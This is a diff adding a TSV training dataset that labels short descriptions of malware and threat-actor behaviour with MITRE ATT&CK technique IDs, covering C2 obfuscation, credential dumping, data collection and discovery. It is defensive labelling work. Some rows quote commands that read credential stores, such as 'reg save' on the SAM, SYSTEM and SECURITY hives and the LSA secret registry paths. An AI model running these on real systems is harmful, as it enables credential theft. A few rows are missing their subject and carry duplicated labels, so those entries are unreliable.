diff --git "a/datasets/procedures/procedure_train.tsv" "b/datasets/procedures/procedure_train.tsv"
new file mode 100644--- /dev/null
+++ "b/datasets/procedures/procedure_train.tsv"
@@ -0,0 +1,8497 @@
+text1	labels
+"During Operation Wocao, threat actors encrypted IP addresses used for ""Agent"" proxy hops with RC4."	['T1001']
+FlawedAmmyy may obfuscate portions of the initial C2 handshake.	['T1001']
+FunnyDream can send compressed and obfuscated packets to C2.	['T1001']
+"Operation Wocao has encrypted IP addresses used for ""Agent"" proxy hops with RC4."	['T1001']
+POWRUNER can use base64 encoded C2 communications.	['T1001', 'T1132.001']
+RDAT has used encoded data within subdomains as AES ciphertext to communicate from the host to the C2.	['T1001']
+SLOTHFULMEDIA has hashed a string containing system information prior to exfiltration via POST requests.	['T1001']
+SideTwist can embed C2 responses in the source code of a fake Flickr webpage.	['T1001']
+The Axiom group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.	['T1001']
+TrailBlazer can masquerade its C2 traffic as legitimate Google Notifications HTTP requests.	['T1001']
+Downdelph inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.	['T1001.001']
+GoldMax has used decoy traffic to surround its malicious network traffic to avoid detection.	['T1001.001']
+GrimAgent  can pad C2 messages with random generated values.	['T1001.001']
+Kevin can generate a sequence of dummy HTTP C2 requests to obscure traffic.	['T1001.001']
+P2P ZeuS added junk data to outgoing UDP packets to peer implants.	['T1001.001']
+P8RAT can send randomly-generated data as part of its C2 communication.	['T1001.001']
+SUNBURST added junk bytes to its C2 over HTTP.	['T1001.001']
+TrailBlazer has used random identifier strings to obscure its C2 operations and result codes.	['T1001.001']
+Turian can insert pseudo-random characters into its network encryption setup.	['T1001.001']
+WellMess can use junk data in the Base64 string for additional obfuscation.	['T1001.001']
+APT29 has used steganography to hide C2 communications in images.	['T1001.002']
+Axiom has used steganography to hide its C2 communications.	['T1001.002']
+Daserf can use steganography to hide malicious code downloaded to the victim.	['T1001.002']
+HAMMERTOSS is controlled via commands that are appended to image files.	['T1001.002']
+LightNeuron is controlled via commands that are embedded into PDFs and JPGs using steganographic methods.	['T1001.002']
+RDAT can process steganographic images attached to email messages to send and receive C2 commands. RDAT can also embed additional messages within BMP images to communicate with the RDAT operator.	['T1001.002']
+Sliver can encode binary data into a .PNG file for C2 communication.	['T1001.002']
+When the Duqu command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file.	['T1001.002']
+Zox has used the .PNG file format for C2 communications.	['T1001.002']
+BADCALL uses a FakeTLS method during C2.	['T1001.003']
+Bankshot generates a false TLS handshake using a public certificate to disguise C2 network communications.	['T1001.003']
+Cobalt Strike can mimic the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI.	['T1001.003']
+FALLCHILL uses fake Transport Layer Security (TLS) to communicate with its C2 server.	['T1001.003']
+HARDRAIN uses FakeTLS to communicate with its C2 server.	['T1001.003']
+KeyBoy uses custom SSL libraries to impersonate SSL in C2 traffic.	['T1001.003']
+Lazarus Group malware also uses a unique form of communication encryption known as FakeTLS that mimics TLS but uses a different encryption method, potentially evading SSL traffic inspection/decryption.	['T1001.003']
+Okrum mimics HTTP protocol for C2 communication, while hiding the actual messages in the Cookie and Set-Cookie headers of the HTTP requests.	['T1001.003']
+SUNBURST masqueraded its network traffic as the Orion Improvement Program (OIP) protocol.	['T1001.003']
+TAINTEDSCRIBE has used FakeTLS for session authentication.	['T1001.003']
+APT28 regularly deploys both publicly available (ex: Mimikatz) and custom password retrieval tools on victims.	['T1003']
+APT32 used GetPassword_x64 to harvest credentials.	['T1003']
+APT39 has used different versions of Mimikatz to obtain credentials.	['T1003']
+Carbanak obtains Windows logon password details.	['T1003']
+Dragonfly dropped and executed SecretsDump, a tool that dumps password hashes.	['T1003']
+Frankenstein has harvested credentials from the victim's machine using Empire.	['T1003']
+KONNI can steal profiles (containing credential information) from Firefox, Chrome, and Opera.	['T1003', 'T1555.003']
+Leviathan has used publicly available tools to dump password hashes, including HOMEFRY.	['T1003']
+OnionDuke steals credentials from its victims.	['T1003']
+PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated many sources such as WinInet Credential Cache, and Lightweight Directory Access Protocol (LDAP).	['T1003']
+Poseidon Group conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.	['T1003']
+Revenge RAT has a plugin for credential harvesting.	['T1003']
+Sowbug has used credential dumping tools.	['T1003']
+Suckfly used a signed credential-dumping tool to obtain victim account credentials.	['T1003']
+APT32 used Mimikatz and customized versions of Windows Credential Dumper to harvest credentials.	['T1003.001']
+APT39 has used Mimikatz, Windows Credential Editor and ProcDump to dump credentials.	['T1003.001']
+APT41 has used hashdump, Mimikatz, and the Windows Credential Editor to dump password hashes from memory and authenticate to other user accounts.	['T1003.001']
+Aquatic Panda has attempted to harvest credentials through LSASS memory dumping.	['T1003.001']
+BRONZE BUTLER has used various tools (such as Mimikatz and WCE) to perform credential dumping.	['T1003.001']
+Blue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.	['T1003.001']
+Cleaver has been known to dump credentials using Mimikatz and Windows Credential Editor.	['T1003.001']
+Cobalt Strike can spawn a job to inject into LSASS memory and dump password hashes.	['T1003.001']
+CozyCar has executed Mimikatz to harvest stored credentials from the victim and further victim penetration.	['T1003.001']
+Daserf leverages Mimikatz and Windows Credential Editor to steal credentials.	['T1003.001']
+During Operation Wocao, threat actors used ProcDump to dump credentials from memory.	['T1003.001']
+Earth Lusca has used ProcDump to obtain the hashes of credentials by dumping the memory of the LSASS process.	['T1003.001']
+Emotet has been observed dropping password grabber modules including Mimikatz.	['T1003.001']
+FIN8 harvests credentials using Invoke-Mimikatz or Windows Credentials Editor (WCE).	['T1003.001']
+GALLIUM used a modified version of Mimikatz along with a PowerShell-based Mimikatz to dump credentials on the victim machines.	['T1003.001']
+GreyEnergy has a module for Mimikatz to collect Windows credentials from the victim’s machine.	['T1003.001']
+"HAFNIUM has used ""procdump"" to dump the LSASS process memory."	['T1003.001']
+Kimsuky has gathered credentials using Mimikatz and ProcDump.	['T1003.001']
+LaZagne can perform credential dumping from memory to obtain account and password information.	['T1003.001']
+Leafminer used several tools for retrieving login and password information, including LaZagne and Mimikatz.	['T1003.001']
+Lizar can run Mimikatz to harvest credentials.	['T1003.001']
+Magic Hound has stolen domain credentials by dumping LSASS process memory with comsvcs.dll and from a Microsoft Active Directory Domain Controller using Mimikatz.	['T1003.001']
+Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the LSASS Memory.	['T1003.001']
+OilRig has used credential dumping tools such as Mimikatz to steal credentials to accounts logged into the compromised system and to Outlook Web Access.	['T1003.001']
+Okrum was seen using MimikatzLite to perform credential dumping.	['T1003.001']
+Operation Wocao has used ProcDump to dump credentials from memory.	['T1003.001']
+PLATINUM has used keyloggers that are also capable of dumping credentials.	['T1003.001']
+PoetRAT used voStro.exe, a compiled pypykatz (Python version of Mimikatz), to steal credentials.	['T1003.001']
+PoshC2 contains an implementation of Mimikatz to gather credentials from memory.	['T1003.001']
+PowerSploit contains a collection of Exfiltration modules that can harvest credentials using Mimikatz.	['T1003.001']
+Pupy can execute Lazagne as well as Mimikatz using PowerShell.	['T1003.001']
+Pysa can perform OS credential dumping using Mimikatz.	['T1003.001']
+SILENTTRINITY can create a memory dump of LSASS via the `MiniDumpWriteDump Win32` API call.	['T1003.001']
+Sandworm Team's plainpwd tool is a modified version of Mimikatz and dumps Windows credentials from system memory.	['T1003.001']
+SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information.	['T1003.001', 'T1003.002', 'T1003.004']
+Silence has used the Farse6.1 utility (based on Mimikatz) to extract credentials from lsass.exe.	['T1003.001']
+Stolen Pencil gathers credentials using Mimikatz and Procdump.	['T1003.001']
+TEMP.Veles has used Mimikatz and a custom tool, SecHack, to harvest credentials.	['T1003.001']
+Whitefly has used Mimikatz to obtain credentials.	['T1003.001']
+Windows Credential Editor can dump credentials.	['T1003.001']
+Cobalt Strike can recover hashed passwords.	['T1003.002']
+Dragonfly has dropped and executed SecretsDump to dump password hashes.	['T1003.002', 'T1003.004']
+During Night Dragon, threat actors dumped account hashes using gsecdump.	['T1003.002']
+During Operation CuckooBees, the threat actors leveraged a custom tool to dump OS credentials and used following commands: `reg save HKLM\\SYSTEM system.hiv`, `reg save HKLM\\SAM sam.hiv`, and `reg save HKLM\\SECURITY security.hiv`, to dump SAM, SYSTEM and SECURITY hives.	['T1003.002']
+Fgdump can dump Windows password hashes.	['T1003.002']
+HOPLIGHT has the capability to harvest credentials and passwords from the SAM database.	['T1003.002']
+Ke3chang has dumped credentials, including by using gsecdump.	['T1003.002', 'T1003.004']
+Koadic can gather hashed passwords by dumping SAM/SECURITY hive.	['T1003.002']
+Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the SAM table.	['T1003.002']
+Mivast has the capability to gather NTLM password information.	['T1003.002']
+Night Dragon has dumped account hashes with Carbanak and cracked them with Cain & Abel.	['T1003.002']
+POWERTON has the ability to dump password hashes.	['T1003.002']
+Remsec can dump the SAM database.	['T1003.002']
+Threat Group-3390 actors have used gsecdump to dump credentials. They have also dumped credentials from domain controllers.	['T1003.002', 'T1003.004']
+Wizard Spider has acquired credentials from the SAM/SECURITY registry hives.	['T1003.002']
+gsecdump can dump Windows password hashes from the SAM.	['T1003.002']
+CrackMapExec can dump hashed passwords associated with Active Directory using Windows' Directory Replication Services API (DRSUAPI), or Volume Shadow Copy.	['T1003.003']
+HAFNIUM has stolen copies of the Active Directory database (NTDS.DIT).	['T1003.003']
+Ke3chang has used NTDSDump and other password dumping tools to gather credentials.	['T1003.003']
+Koadic can gather hashed passwords by gathering domain controller hashes from NTDS.	['T1003.003']
+LAPSUS$ has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database.	['T1003.003']
+"Mustang Panda has used vssadmin to create a volume shadow copy and retrieve the NTDS.dit file. Mustang Panda has also used ""reg save"" on the SYSTEM file Registry location to help extract the NTDS.dit file."	['T1003.003']
+SecretsDump and Mimikatz modules within Impacket can perform credential dumping to obtain account and password information from NTDS.dit.	['T1003.003']
+Wizard Spider has gained access to credentials via exported copies of the ntds.dit Active Directory database.	['T1003.003']
+esentutl can use Volume Shadow Copy to copy locked files such as ntds.dit.	['T1003.003']
+menuPass has used Ntdsutil to dump credentials.	['T1003.003']
+AADInternals can dump secrets from the Local Security Authority.	['T1003.004']
+APT33 has used a variety of publicly available tools like LaZagne to gather credentials.	['T1003.004', 'T1003.005', 'T1552.001', 'T1555', 'T1555.003']
+CosmicDuke collects LSA secrets.	['T1003.004']
+CrackMapExec can dump hashed passwords from LSA secrets for the targeted system.	['T1003.004']
+IceApple's Credential Dumper module can dump LSA secrets from registry keys, including: `HKLM\SECURITY\Policy\PolEKList\default`, `HKLM\SECURITY\Policy\Secrets\*\CurrVal`, and `HKLM\SECURITY\Policy\Secrets\*\OldVal`.	['T1003.004']
+Leafminer used several tools for retrieving login and password information, including LaZagne.	['T1003.004', 'T1003.005', 'T1552.001', 'T1555', 'T1555.003']
+MuddyWater has performed credential dumping with LaZagne.	['T1003.004', 'T1003.005']
+OilRig has used credential dumping tools such as LaZagne to steal credentials to accounts logged into the compromised system and to Outlook Web Access.	['T1003.004', 'T1003.005', 'T1552.001', 'T1555']
+Cachedump can extract cached password hashes from cache entry information.	['T1003.005']
+LaZagne can perform credential dumping from MSCache to obtain account and password information.	['T1003.005']
+Okrum was seen using modified Quarks PwDump to perform credential dumping.	['T1003.005']
+APT29 leveraged privileged accounts to replicate directory service data with domain controllers.	['T1003.006']
+"Earth Lusca has used a ""DCSync"" command with Mimikatz to retrieve credentials from an exploited controller."	['T1003.006']
+LAPSUS$ has used DCSync attacks to gather credentials for privilege escalation routines.	['T1003.006']
+Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.	['T1003.006']
+Operation Wocao has used Mimikatz's DCSync to dump credentials from the memory of the targeted system.	['T1003.006']
+UNC2452 leveraged privileged accounts to replicate directory service data with domain controllers.	['T1003.006']
+LaZagne can obtain credential information running Linux processes.	['T1003.007']
+MimiPenguin can dump process memory and extract clear-text credentials.	['T1003.007']
+LaZagne can obtain credential information from /etc/shadow using the shadow.py module.	['T1003.008']
+APT28 has retrieved internal documents from machines inside victim environments, including by using Forfiles to stage documents before exfiltration.	['T1005']
+APT29 has extracted files from compromised networks.	['T1005']
+APT3 will identify Microsoft Office documents on the victim's computer.	['T1005']
+APT37 has collected data from victims' local systems.	['T1005']
+APT39 has used various tools to steal files from the compromised host.	['T1005']
+Action RAT can collect local data from an infected machine.	['T1005']
+AppleSeed can collect data on a compromised host.	['T1005']
+AuTo Stealer can collect data such as PowerPoint files, Word documents, Excel files, PDF files, text files, database files, and image files from an infected machine.	['T1005']
+Axiom has collected data from a compromised network.	['T1005']
+BRONZE BUTLER has exfiltrated files stolen from local systems.	['T1005']
+BadPatch collects files from the local system that have the following extensions, then prepares them for exfiltration: .xls, .xlsx, .pdf, .mdb, .rar, .zip, .doc, .docx.	['T1005']
+Bandook can collect local files from the system .	['T1005']
+Bankshot collects files from the local system.	['T1005']
+Bazar can retrieve information from the infected machine.	['T1005']
+Bumblebee can capture and compress stolen credentials from the Registry and volume shadow copies.	['T1005']
+Calisto can collect data from user directories.	['T1005']
+Caterpillar WebShell has a module to collect information from the local database.	['T1005']
+China Chopper's server component can upload local files.	['T1005']
+Chrommme can collect data from a local system.	['T1005']
+Clambling can collect information from a compromised host.	['T1005']
+Cobalt Strike can collect data from a local system.	['T1005']
+CookieMiner has retrieved iPhone text messages from iTunes phone backup files.	['T1005']
+CosmicDuke steals user files from local hard drives with file extensions that match a predefined list.	['T1005']
+Crutch can exfiltrate files from compromised systems.	['T1005']
+Cyclops Blink can upload files from a compromised host.	['T1005']
+DRATzarus can collect information from a compromised host.	['T1005']
+DnsSystem can upload files from infected machines after receiving a command with `uploaddd` in the string.	['T1005']
+Dragonfly 2.0 collected data from local victim systems.	['T1005']
+Dtrack can collect a variety of information from victim machines.	['T1005']
+During C0015, the threat actors obtained files and data from the compromised network.	['T1005']
+During Frankenstein, the threat actors used Empire to gather various local system information.	['T1005']
+During Night Dragon, the threat actors collected files and other data from compromised systems.	['T1005']
+During Operation CuckooBees, the threat actors collected data, files, and other information from compromised networks.	['T1005']
+During Operation Honeybee, the threat actors collected data from compromised hosts.	['T1005']
+Dust Storm has used Android backdoors capable of exfiltrating specific files directly from the infected devices.	['T1005']
+FIN7 has collected files and other sensitive information from a compromised network.	['T1005']
+FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system. FLASHFLOOD will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. FLASHFLOOD also collects information stored in the Windows Address Book.	['T1005']
+FlawedAmmyy has collected information and files from a compromised machine.	['T1005']
+Forfiles can be used to act on (ex: copy, move, etc.) files/directories in a system during (ex: copy files into a staging area before).	['T1005']
+FrameworkPOS can collect elements related to credit card data from process memory.	['T1005']
+Frankenstein has enumerated hosts via Empire, gathering various local system information.	['T1005']
+FunnyDream can upload files from victims' machines.	['T1005']
+Gamaredon Group has collected files from infected systems and uploaded them to a C2 server.	['T1005']
+Goopy has the ability to exfiltrate documents from infected systems.	['T1005']
+GravityRAT steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.	['T1005']
+Green Lambert can collect data from a compromised host.	['T1005']
+GrimAgent can collect data and files from a compromised host.	['T1005']
+IceApple can collect files, passwords, and other data from a compromised host.	['T1005']
+InvisiMole can collect data from the system, and can monitor changes in specified directories.	['T1005']
+Ixeshe can collect data from a local system.	['T1005']
+KGH_SPY can send a file containing victim system information to C2.	['T1005']
+KONNI has stored collected information and discovered processes in a tmp file.	['T1005']
+Kazuar uploads files from a specified directory to the C2 server.	['T1005']
+Ke3chang gathered information and files from local directories for exfiltration.	['T1005']
+Kevin can upload logs and other data from a compromised host.	['T1005']
+Koadic can download files off the target system to send back to the server.	['T1005']
+Lazarus Group has collected data and files from compromised networks.	['T1005']
+LightNeuron can collect files from a local system.	['T1005']
+Linfo creates a backdoor through which remote attackers can obtain data from local systems.	['T1005']
+MCMD has the ability to upload files from an infected device.	['T1005']
+MacMa can collect then exfiltrate files from the compromised system.	['T1005']
+Machete searches the File system for files of interest.	['T1005']
+Magic Hound has used a web shell to exfiltrate a ZIP file containing a dump of LSASS memory on a compromised machine.	['T1005']
+Milan can upload files from a compromised host.	['T1005']
+Misdat has collected files and data from a compromised host.	['T1005']
+Nebulae has the capability to upload collected files to C2.	['T1005']
+Neoichor can upload files from a victim's machine.	['T1005']
+Operation Wocao has exfiltrated files and directories of interest from the targeted system.	['T1005']
+Out1 can copy files and Registry data from compromised hosts.	['T1005']
+P.A.S. Webshell has the ability to copy files on a compromised host.	['T1005']
+PUNCHTRACK scrapes memory for properly formatted payment card data.	['T1005']
+Patchwork collected and exfiltrated files from the infected system.	['T1005']
+Pillowmint has collected credit card data using native API functions.	['T1005']
+PingPull can collect data from a compromised host.	['T1005']
+PoisonIvy creates a backdoor through which remote attackers can steal system information.	['T1005']
+PowerLess has the ability to exfiltrate data, including Chrome and Edge browser database files, from compromised machines.	['T1005']
+PowerSploit contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.	['T1005']
+Proxysvc searches the local system and gathers data.	['T1005']
+QuietSieve can collect files from a compromised host.	['T1005']
+RainyDay can use a file exfiltration tool to collect recently changed files on a compromised host.	['T1005']
+"Ramsay can collect Microsoft Word documents from the target's file system, as well as "".txt"", "".doc"", and "".xls"" files from the Internet Explorer cache."	['T1005']
+RawPOS dumps memory from specific processes on a victim system, parses the dumped files, and scrapes them for credit card data.	['T1005']
+SDBbot has the ability to access the file system on a compromised host.	['T1005']
+SLOTHFULMEDIA has uploaded files and information from victim machines.	['T1005']
+STARWHALE can collect data from an infected local host.	['T1005']
+SUNBURST collected information from a compromised host.	['T1005']
+Saint Bot can collect files and information from a compromised host.	['T1005']
+Sandworm Team has exfiltrated internal documents, files, and other data from compromised hosts.	['T1005']
+Shark can upload files to its C2.	['T1005']
+ShimRat has the capability to upload collected files to a C2.	['T1005']
+SideTwist has the ability to upload files from a compromised host.	['T1005']
+SombRAT has collected data and files from a compromised host.	['T1005']
+Stealth Falcon malware gathers data from the local victim system.	['T1005']
+StrifeWater can collect data from a compromised host.	['T1005']
+Taidoor can upload data and files from a victim's machine.	['T1005']
+TajMahal has the ability to steal documents from the local system including the print spooler queue.	['T1005']
+Threat Group-3390 ran a command to compile an archive of file types of interest from the victim user's directories.	['T1005', 'T1119']
+Tomiris has the ability to collect recent files matching a hardcoded list of extensions prior to exfiltration.	['T1005']
+Ursnif has collected files from victim machines, including certificates and cookies.	['T1005']
+WellMail can exfiltrate files from the victim machine.	['T1005']
+WellMess can send files from the victim machine to C2.	['T1005']
+Windigo has used a script to gather credentials in files left on disk by OpenSSH backdoors.	['T1005']
+XCSSET collects contacts and application data from files in Desktop, Documents, Downloads, Dropbox, and WeChat folders.	['T1005']
+Zox has the ability to upload files from a targeted system.	['T1005']
+ZxShell can transfer files from a compromised host.	['T1005']
+ZxxZ can collect data from a compromised host.	['T1005']
+ccf32 can collect files from a compromised host.	['T1005']
+creates a backdoor through which remote attackers can steal system information.	['T1005', 'T1005']
+esentutl can be used to collect data from local file systems.	['T1005']
+menuPass has collected various files from the compromised computers.	['T1005']
+njRAT can collect data from a local system.	['T1005']
+xCaon has uploaded files from victims' machines.	['T1005']
+yty collects files with the following extensions: .ppt, .pptx, .pdf, .doc, .docx, .xls, .xlsx, .docm, .rtf, .inp, .xlsm, .csv, .odt, .pps, .vcf and sends them back to the C2 server.	['T1005']
+After compromising a victim, Poseidon Group discovers all running services.	['T1007']
+Aquatic Panda has attempted to discover services for third party EDR products.	['T1007']
+BBSRAT can query service configuration information.	['T1007']
+BRONZE BUTLER has used TROJ_GETVERSION to discover system services.	['T1007']
+Babuk can enumerate all services running on a compromised host.	['T1007']
+BitPaymer can enumerate existing Windows services on the host that are configured to run as LocalSystem.	['T1007']
+Caterpillar WebShell can obtain a list of the services from a system.	['T1007']
+"Chimera has used ""net start"" and ""net use"" for system service discovery."	['T1007']
+Cobalt Strike can enumerate services on compromised hosts.	['T1007']
+"Comnie runs the command: ""net start >> %TEMP%\info.dat"" on a victim."	['T1007']
+"Cuba can query service status using ""QueryServiceStatusEx"" function."	['T1007']
+During Operation CuckooBees, the threat actors used the `net start` command as part of their initial reconnaissance.	['T1007']
+During Operation Wocao, threat actors used the `tasklist` command to search for one of its backdoors.	['T1007']
+Earth Lusca has used Tasklist to obtain information from a compromised host.	['T1007', 'T1057']
+"Emissary has the capability to execute the command ""net start"" to interact with services."	['T1007']
+GravityRAT has a feature to list the available services on the system.	['T1007']
+GreyEnergy enumerates all Windows services.	['T1007']
+Heyoka Backdoor can check if it is running as a service on a compromised host.	['T1007']
+HotCroissant has the ability to retrieve a list of services on the infected host.	['T1007']
+Hydraq creates a backdoor through which remote attackers can monitor services.	['T1007']
+JPIN can list running services.	['T1007']
+"Ke3chang performs service discovery using ""net start"" commands."	['T1007']
+Kimsuky has used an instrumentor script to gather the names of all services running on a victim's system.	['T1007']
+"Kwampirs collects a list of running services with the command ""tasklist /svc""."	['T1007']
+LookBack can enumerate services on the victim machine.	['T1007']
+"OilRig has used ""sc query"" on a victim to gather information about services."	['T1007']
+"Operation Wocao has used the ""tasklist"" command to search for one of its backdoors."	['T1007']
+"RATANKBA uses ""tasklist /svc"" to display running tasks."	['T1007']
+REvil can enumerate active services.	['T1007']
+SILENTTRINITY can search for modifiable services that could be used for privilege escalation.	['T1007']
+SLOTHFULMEDIA has the capability to enumerate services.	['T1007']
+SynAck enumerates all running services.	['T1007']
+"The ""net start"" command can be used in Net to find information about Windows services."	['T1007']
+TrickBot collects a list of install programs and services on the system’s machine.	['T1007']
+"Turla surveys a system upon check-in to discover running services and associated processes using the ""tasklist /svc"" command."	['T1007']
+Ursnif has gathered information about running services.	['T1007']
+Volgmer queries the system to identify existing services.	['T1007']
+WINERACK can enumerate services.	['T1007']
+ZLib has the ability to discover and manipulate Windows services.	['T1007']
+ZxShell can check the services on the system.	['T1007']
+"admin@338 actors used the following command following exploitation of a machine with LOWBALL malware to obtain information about services: ""net start >> %temp%\download"""	['T1007']
+jRAT can list local services.	['T1007']
+APT41 used the Steam community page as a fallback mechanism for C2.	['T1008']
+Anchor can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.	['T1008']
+AppleSeed can use a second channel for C2 when the primary channel is in upload mode.	['T1008']
+BISCUIT malware contains a secondary fallback command and control server that is contacted after the primary command and control server.	['T1008']
+BlackEnergy has the capability to communicate over a backup channel via plus.google.com.	['T1008']
+Bumblebee can use backup C2 servers if the primary server fails.	['T1008']
+CHOPSTICK can switch to a new C2 channel if the current one is broken.	['T1008']
+Carbanak’s Harpy backdoor malware can use DNS as a backup channel for C2 if HTTP fails.	['T1008']
+Cardinal RAT can communicate over multiple C2 host and port combinations.	['T1008']
+CharmPower can change its C2 channel once every 360 loops by retrieving a new domain from the actors’ S3 bucket.	['T1008']
+Crutch has used a hardcoded GitHub repository as a fallback channel.	['T1008']
+During Night Dragon, threat actors used company extranet servers as secondary C2 servers.	['T1008']
+DustySky has two hard-coded domains for C2 servers; if the first does not respond, it will try the second.	['T1008']
+Ebury has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.	['T1008']
+Exaramel for Linux can attempt to find a new C2 server if it receives an error.	['T1008']
+FatDuke has used several C2 servers per targeted organization.	['T1008']
+Gelsemium can use multiple domains and protocols in C2.	['T1008']
+HOPLIGHT has multiple C2 channels in place in case one fails.	['T1008']
+InvisiMole has been configured with several servers available for alternate C2 communications.	['T1008']
+Kazuar can accept multiple URLs for C2 servers.	['T1008']
+Kevin can assign hard-coded fallback domains for C2.	['T1008']
+Kwampirs uses a large list of C2 servers that it cycles through until a successful connection is established.	['T1008']
+Linfo creates a backdoor through which remote attackers can change C2 servers.	['T1008']
+Machete has sent data over HTTP if FTP failed, and has also used a fallback server.	['T1008']
+MiniDuke uses Google Search to identify C2 servers if its primary C2 method via Twitter is not working.	['T1008']
+Mis-Type first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.	['T1008']
+NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000.	['T1008']
+PipeMon can switch to an alternate C2 domain when a particular date has been reached.	['T1008']
+QUADAGENT uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.	['T1008']
+RDAT has used HTTP if DNS C2 communications were not functioning.	['T1008']
+RainyDay has the ability to switch between TCP and HTTP for C2 if one method is not working.	['T1008']
+S-Type primarily uses port 80 for C2, but falls back to ports 443 or 8080 if initial communication fails.	['T1008']
+Shark can update its configuration to use a different C2 server.	['T1008']
+SideTwist has primarily used port 443 for C2 but can use port 80 as a fallback.	['T1008']
+SslMM has a hard-coded primary and backup C2 string.	['T1008']
+TAINTEDSCRIBE can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.	['T1008']
+The C2 server used by XTunnel provides a port number to the victim to use as a fallback in case the connection closes on the currently used port.	['T1008']
+TinyTurla can go through a list of C2 server IPs and will try to register with each until one responds.	['T1008']
+TrickBot can use secondary C2 servers for communication after establishing connectivity and relaying victim information to primary C2 servers.	['T1008']
+Valak can communicate over multiple C2 hosts.	['T1008']
+Aria-body has the ability to identify the titles of running windows on a compromised host.	['T1010']
+Attor can obtain application window titles and then determines which windows to perform Screen Capture on.	['T1010']
+Cadelspy has the ability to identify open windows on the compromised host.	['T1010']
+Catchamas obtains application windows titles and then determines which windows to perform Screen Capture on.	['T1010']
+DarkWatchman reports window names along with keylogger information to provide application context.	['T1010']
+Flagpro can check the name of the window displayed on the system.	['T1010']
+FunnyDream has the ability to discover application windows via execution of `EnumWindows`.	['T1010']
+Grandoreiro can identify installed security tools based on window names.	['T1010']
+HotCroissant has the ability to list the names of all open windows on the infected host.	['T1010']
+InvisiMole can enumerate windows and child windows on a compromised host.	['T1010']
+Lazarus Group malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.	['T1010']
+Metamorfo can enumerate all windows on the victim’s machine.	['T1010']
+NETWIRE can discover and close windows on controlled systems.	['T1010']
+NetTraveler reports window names along with keylogger information to provide application context.	['T1010']
+PLEAD has the ability to list open windows on the compromised host.	['T1010']
+PoisonIvy captures window titles.	['T1010']
+PowerDuke has a command to get text of the current foreground window.	['T1010']
+ROKRAT can use  the `GetForegroundWindow` and `GetWindowText` APIs to discover where the user is typing.	['T1010']
+SOUNDBITE is capable of enumerating application windows.	['T1010']
+The discovery modules used with Duqu can collect information on open windows.	['T1010']
+Trojan.Karagany can monitor the titles of open windows to identify specific keywords.	['T1010']
+WINERACK can enumerate active windows.	['T1010']
+captures window titles.	['T1010', 'T1010']
+njRAT gathers information about opened windows during the initial infection.	['T1010']
+A Threat Group-3390 tool can read and decrypt stored Registry values.	['T1012']
+"A variant of HOPLIGHT hooks lsass.exe, and lsass.exe then checks the Registry for the data value 'rdpproto' under the key ""SYSTEM\CurrentControlSet\Control\Lsa Name""."	['T1012']
+ADVSTORESHELL can enumerate registry keys.	['T1012']
+APT32's backdoor can query the Windows Registry to gather system information.	['T1012']
+APT39 has used various strains of malware to query the Registry.	['T1012']
+Attor has opened the registry and performed query searches.	['T1012']
+BACKSPACE is capable of enumerating and making modifications to an infected system's Registry.	['T1012']
+"BabyShark has executed the ""reg query"" command for ""HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default""."	['T1012']
+Bankshot searches for certain Registry keys to be configured before executing the payload.	['T1012']
+"Bazar can query ""Windows\CurrentVersion\Uninstall"" for installed applications."	['T1012']
+"BendyBear can query the host's Registry key at ""HKEY_CURRENT_USER\Console\QuickEdit"" to retrieve data."	['T1012']
+Brave Prince gathers information about the Registry.	['T1012']
+Bumblebee can check the Registry for specific keys.	['T1012']
+CHOPSTICK provides access to the Windows Registry, which can be used to gather information.	['T1012']
+"Carbanak checks the Registry key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"" for proxy configurations information."	['T1012']
+"Carberp has searched the Image File Execution Options registry key for ""Debugger"" within every subkey."	['T1012']
+CharmPower has the ability to enumerate `Uninstall` registry values.	['T1012']
+"Clambling has the ability to enumerate Registry keys, including ""KEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt\strDataDir"" to search for a bitcoin wallet."	['T1012']
+"Cobalt Strike can query ""HKEY_CURRENT_USER\Software\Microsoft\Office\<Excel Version>\Excel\Security\AccessVBOM\""  to determine if the security setting for restricting default programmatic access is enabled."	['T1012']
+"ComRAT can check the default browser by querying ""HKCR\http\shell\open\command""."	['T1012']
+Denis queries the Registry for keys and values.	['T1012']
+Dragonfly 2.0 queried the Registry to identify victim information.	['T1012']
+Dragonfly has queried the Registry to identify victim information.	['T1012']
+"Epic uses the ""rem reg query"" command to obtain values from Registry keys."	['T1012']
+FELIXROOT queries the Registry for specific keys for potential privilege escalation and proxy information. FELIXROOT has also used WMI to query the Windows Registry.	['T1012']
